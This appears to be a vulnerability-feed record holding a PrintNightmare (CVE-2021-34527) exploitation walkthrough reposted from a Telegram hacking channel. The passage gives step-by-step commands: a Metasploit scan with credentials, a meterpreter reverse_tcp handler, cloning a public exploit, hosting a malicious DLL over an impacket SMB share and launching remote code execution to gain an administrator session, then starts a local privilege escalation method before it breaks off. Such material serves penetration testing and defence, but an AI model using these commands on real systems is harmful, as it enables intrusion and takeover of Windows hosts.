{"uuid": "8319dc60-4651-4700-b4d2-7d5362dd2301", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34527", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43510", "content": "for DLL_PATH argument as I am not running the exploit, I just have to scan. In our testing, we found Metasploit\u2019s printnightmare to be unreliable and hence, we are not showing this technique here. You can test it on your own and see if it works for you though. This run confirmed that victim is vulnerable to printnightmare.\nuse auxiliary/admin/dcerpc/cve_2021_1675_printnightmare\nset RHOSTS 192.168.1.190\nset SMBUser ignite\nset SMBPass 123\nset DLL_PATH /\nexploit \nhttps://blogger.googleusercontent.com/img/a/AVvXsEglBTn-7Q406EupEG4rqdccohxaMM0taLtCcXX9Po0rGiAMpm7HwuHGPRsd8LPYPWb2iHCp_tuZG8toHlIyWPg1Xz-LPDph7vleOT01kFAuLQuQEbQtYYAKeGsp-utOY8a3ZoQRZag3Sq6QxjZpbOvj96HTPkxzziu7N8O7j52BidybdgsB17MOjlZzHg=s16000 \n\nWe now start a handler beforehand prior to executing our DLL file using the exploit.\nuse multi/handler\nset payload windows/x64/meterpreter/reverse_tcp\nset LHOST 192.168.1.2\nset LPORT 4444\nexploit \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvPWljeXZmeJEaqnmMAsaePtns1u2DeIen1YqrHn-kdJtXCHqE6EvFYeGSwqiSY7xg9nnKIypPRi2HbiowP7YnqZa_VwDNIdCVnlluxngjqDRNBBAwSK5mPACQibk05M745hPGDg9Sur6-DTrUvJVPi_RhHiCQipAuXRd4vf-cKdRFRl3-4BkqgYgQhw=s16000 \n\nNow, we need to clone the github repo. We are using a forked version of Cube0x0\u2019s original exploit.\ngit clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527\ncd PrintNightmare-CVE-2021-34527\nchmod 777 CVE-2021-34527.py \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhpxbZHqM3IylJSg07ByT9OInKzXK7VUHbqDQ-pIQNrjJ7HKiq6KVo0jve9tE-8u1Raw18sZM4l6i7C0bKhUbraV2wrRgBzEmBR_hcTvoY73Qy61wQ_4l286v4OEAskw6YoFLuLQuWmV77of4w5YXazdYKCZVNlYCF0lFAmj4ZEv9oaoRoqPdMcnv8oYg=s16000 \n\nAlright, one last step remaining is to host the malicious DLL in our SAMBA server. You can set up a samba server manually in Kali, use Windows host to host this or the easier approach is to use impacket\u2019s smbserver.\n\nAdd the share name you want (in my case, \u201cshare\u201d is used) and then supply the path (in my case, /root) where you have saved the malicious DLL.\npython3 /usr/share/doc/python3-impacket/examples/smbserver.py share /root \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhkRc_vf28ZdA73Tu3A8KMTQdOlBxV6DJ4tI-v-Epix0kXjIVjwHLbDD7aRu0BvYXs33W9vwHThm5S5jmUCT2qh2h01sedwZaIAcgsUoRY-j9SeQsDzjpay713OC_YyZX3OdcJ2UR-K8uRz_HYiPFXWB_dUsYmOKSar4blOBh56eyTLZFopy9-Oem3Lkg=s16000 \n\nWith everything prepped up and ready, we can launch the RCE exploit. The execution is simple\n\n./exploit.py credentials@IP \u2018UNC_PATH of DLL hosted\u2019\n\nHere, we just launched a share on impacket, we will use that as the UNC path\n./CVE-2021-34527.py ignite:123@192.168.1.190 '\\\\192.168.1.2\\share\\evil.dll' \nhttps://blogger.googleusercontent.com/img/a/AVvXsEiLMxAIFHYoDfNFX1Q7hFTX_xewYLi1t8X-ubA7a5mo1OEO8dDkslQVBkL6ue4IYfKYRgTwGZgmBv9NmO8_JyGtPUl1ra5rfsGppXNLy70jypzjqPsAEvajHthVKQ304TkGS53XxhHkhwa3lUSf8yomPpaRW99v7s4DFTV-kZK_5NTUMJBbCYYZHVXxUA=s16000 \n\nAs you can see, the victim has successfully executed our DLL file and returned us an administrator level session on the victim!\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEi-cJsoLFCiHhF_mINWMNCwEV-YUSjEGKu_GBfjXsLHyAnzcrQogResom4p7PLFa8zf2xOPyU10IW6SzlkjShspncLP4ln4wP67-WSlSnkfjJ67KUz6YGWjOxrgwjR0CZZtuLS0Lb1XTbSAIMv1ezEWWec4XXSRTXEuCOokJy6wJv8F7QT6-xXW10m5fw=s16000 Method 2 \u2013 PrintNightmare LPE using PowershellWe have seen the remote exploit pertaining to CVE 2021-34527. Now, we will see the older local privilege escalation exploit. AFWU had implemented the original exploit in C plus plus while Caleb Stewart and John Hammond created a working PoC in powershell. Unlike the traditional exploit, this version doesn\u2019t need an attacker to create SMB server in order to exploit. Instead of a remote UNC path injection, authors create a standalone DLL in temp directory and do a local UNC path injection.\ngit clone https://github.com/calebstewart/CVE-2021-1675.git\ncd CVE-2021-1675 && ls -al \nhttps://blogger.googleusercontent.com/img/a/AVvXsEioSYbe6pbkGih4ZUifWq[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:30.843615Z"}